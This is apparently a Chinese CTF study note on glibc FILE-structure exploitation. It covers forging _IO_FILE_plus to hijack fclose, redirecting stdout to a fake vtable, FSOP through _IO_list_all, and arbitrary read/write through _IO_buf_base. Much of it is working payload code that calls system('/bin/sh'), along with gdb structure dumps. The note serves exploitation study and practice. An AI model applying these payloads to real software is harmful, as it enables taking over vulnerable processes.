-
fclose 劫持fp指针,伪造_IO_FILE_plus结构
伪造IO_FILE_plus结构体, 32位和64位不一样,32位的需要伪造vtable,而64位可以不用伪造vtable,因为64位的在绕过几个函数后会获得一次call [rax + 0x10]的机会
先说32bits的
-
调用 IO_FINISH(fp)的情况
#注意flags字段,只需要_flags & 0x2000为0就会直接调用 IO_FINSH(fp),IO_FINISH(fp)相当于调用fp->vtabl->__finish(fp) #其中shell是后门函数 fake_file = "\x00" * 0x48 + p32(buf_add) fake_file = fake_file.ljust(0x94, "\x00") fake_file += p32(buf_add + 0x98 - 0x8)#fake_vtable_addr = buf_addr + 0x98 - 0x8 fake_file += p32(shell) #不存在后门函数的情况 fake_file = "\x00" * 4 + ";sh" fake_file = fake_file.ljust(0x48,'\x00')+ p32(buf_add) fake_file = fake_file.ljust(0x94, "\x00") fake_file += p32(buf_add + 0x98 - 0x8)#fake_vtable_addr = buf_addr + 0x98 - 0x8 fake_file += p32(system)
-
调用__fclose()函数的情况: flags & 0x2000不为0
#_flags & 0x2000不为0最终会调用fp->vtabl->__fclose(fp) fake_file = "/bin/sh\x00" fake_file = fake_file.ljust(0x48,'\x00') fake_file += p32(fake_lock_addr) # 指向一处值为0的地址 fake_file = fake_file.ljust(0x94, "\x00") fake_file += p32(fake_vtable)#fake vtable address = buf_addr + 0x98 - 0x44 fake_file += p32(system)
64bits的情况:
-
程序中存在后门函数
fake_file ='\0'*0x10 + p64(get_shell)+'\0'*0x70+ p64(buf_addr) fake_file = fake_file.ljust(0xd8,'\0')+p64(buf_addr)
-
程序中不存在后门函数
fake_file = "/bin/sh\x00" + '\x00' * 0x8 fake_file += p64(system) + '\x00' * 0x70 # the system can also be placed in other memory fake_file += p64(fake_lock_addr)#指向一处值为0的地址 fake_file = fake_file.ljust(0xd8, '\x00') fake_file += p64(buf_addr + 0x10 - 0x88) # fake_vtable_addr
fclose源码学习文章:blog
等过段时间有时间了在去分析下fclose源码
例子 : xman 的example1 可以编译成32位和64位来练练手 ,pwnable.tw的seethefile
-
劫持 stdout文件流指针
通过任意地址写漏洞,将stdout的指针指向伪造的_IO_FILE_plus结构,其中vtable指向伪造的 vtable函数表
这里拿 网鼎杯的那道blind做例子
原本的stdout结构体
gef➤ p *(struct _IO_FILE_plus *) stdout $2 = { file = { _flags = 0xfbad2887, _IO_read_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7f5b6742a6a4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f5b674298e0 <_IO_2_1_stdin_>, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "\n", _lock = 0x7f5b6742b780 <_IO_stdfile_1_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7f5b674297a0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f5b674286e0 <_IO_file_jumps> }
伪造的IO_FILE_plus结构体中的flags要满足下面的条件
flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0 所以flag的值可以为0xfbad8000 或者0xfbad8080
其他的根据原本的结构体伪造就行了
fake_struct = p64(0x00000000fbad8000) + p64(0x602060)*7 + p64(0x602061) + p64(0)*4 fake_struct += p64(0x602060) + p64(0x1) + p64(0xffffffffffffffff)+ p64(0) fake_struct += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060) fake_struct += p64(0)*3 + p64(0x00000000ffffffff) + p64(0) fake_struct += p64(0)+ p64(0x602090 + 0x68*3) fake_vtable = p64(system_addr)*10 + '\n'
伪造后的结构体:
gef➤ p *(struct _IO_FILE_plus *)0x602090 $1 = { file = { _flags = 0xfbad8000, _IO_read_ptr = 0x602060 " `", _IO_read_end = 0x602060 " `", _IO_read_base = 0x602060 " `", _IO_write_base = 0x602060 " `", _IO_write_ptr = 0x602060 " `", _IO_write_end = 0x602060 " `", _IO_buf_base = 0x602060 " `", _IO_buf_end = 0x602061 " `", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x602060, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x602060, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x602060, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' <repeats 19 times> }, vtable = 0x6021c8 }
-
FSOP
这个技术的核心就是劫持_IO_list_all的值来伪造链表和其中的_IO_FILE项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all链表中所有项的文件流,相当于对每个FILE调用fflush,也对应着会调用_IO_FILE_plus.vtable中的IO_overflow函数。
libc版本小于2.24
IO_flush_all_lockp函数源码
_IO_flush_all_lockp (int do_lock) { int result = 0; FILE *fp; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock); #endif for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/ || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))/*也可以绕过这个*/ ) && _IO_OVERFLOW (fp, EOF) == EOF)/*遍历_IO_list_all ,选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/ result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL; } #ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0); #endif return result; }
IO_flush_all_lockp函数触发条件:
- 当libc执行abort流程时 abort可以通过触发malloc_printerr来触发
- 当执行exit函数时
- 当执行流从main函数返回时
FSOP攻击的前提条件:
- 泄露出libc地址,知道 _IO_lsit_all的地址
- 任意地址写的能力,修改 _IO_list_all为可控的地址
- 可以在可控内存中伪造_IO_FILE_plus结构
_IO_list_all 结构:
pwndbg> p *_IO_list_all
$1 = {
file = {
_flags = 0xfbad2086,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd2620 <_IO_2_1_stdout_>, #这里是我们需要控制的地方,将伪造的_IO_FILE_plus结构链入 _IO_FILE的链表头部
_fileno = 0x2,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7dd3770 <_IO_stdfile_2_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd1660 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
伪造的_IO_FILE_plus结构体要绕过的check
1.((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
或者是
2.
_IO_vtable_offset (fp) == 0
&& fp->_mode > 0
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
一般来说都是伪造前者,因为简单点
具体利用 可以去看 house of orange这道题
-
新版本libc下的IO_FILE的利用
通过控制 stdin/stdout文件流 内部的_IO_buf_base和 _IO_buf_end来达到任意地址读写的目的
因为进程中包含了系统默认的三个文件流stdin\stdout\stderr,因此这种方式可以不需要进程中存在文件操作,通过scanf\printf一样可以进行利用
_IO_FILE结构
struct _IO_FILE { int _flags; /*flag标志位,用于一些检查 */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* 操作的起始地址. */ char *_IO_buf_end; /* 操作的结束地址. */ /*控制 _IO_buf_base 和 _IO_buf_end就可以实现任意读写*/ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; /* 用于形成_IO_FILE 链表 int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it's too small. */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
任意地址读的例子 from Angelboy大佬
任意地址写的例子 from Angelboy大佬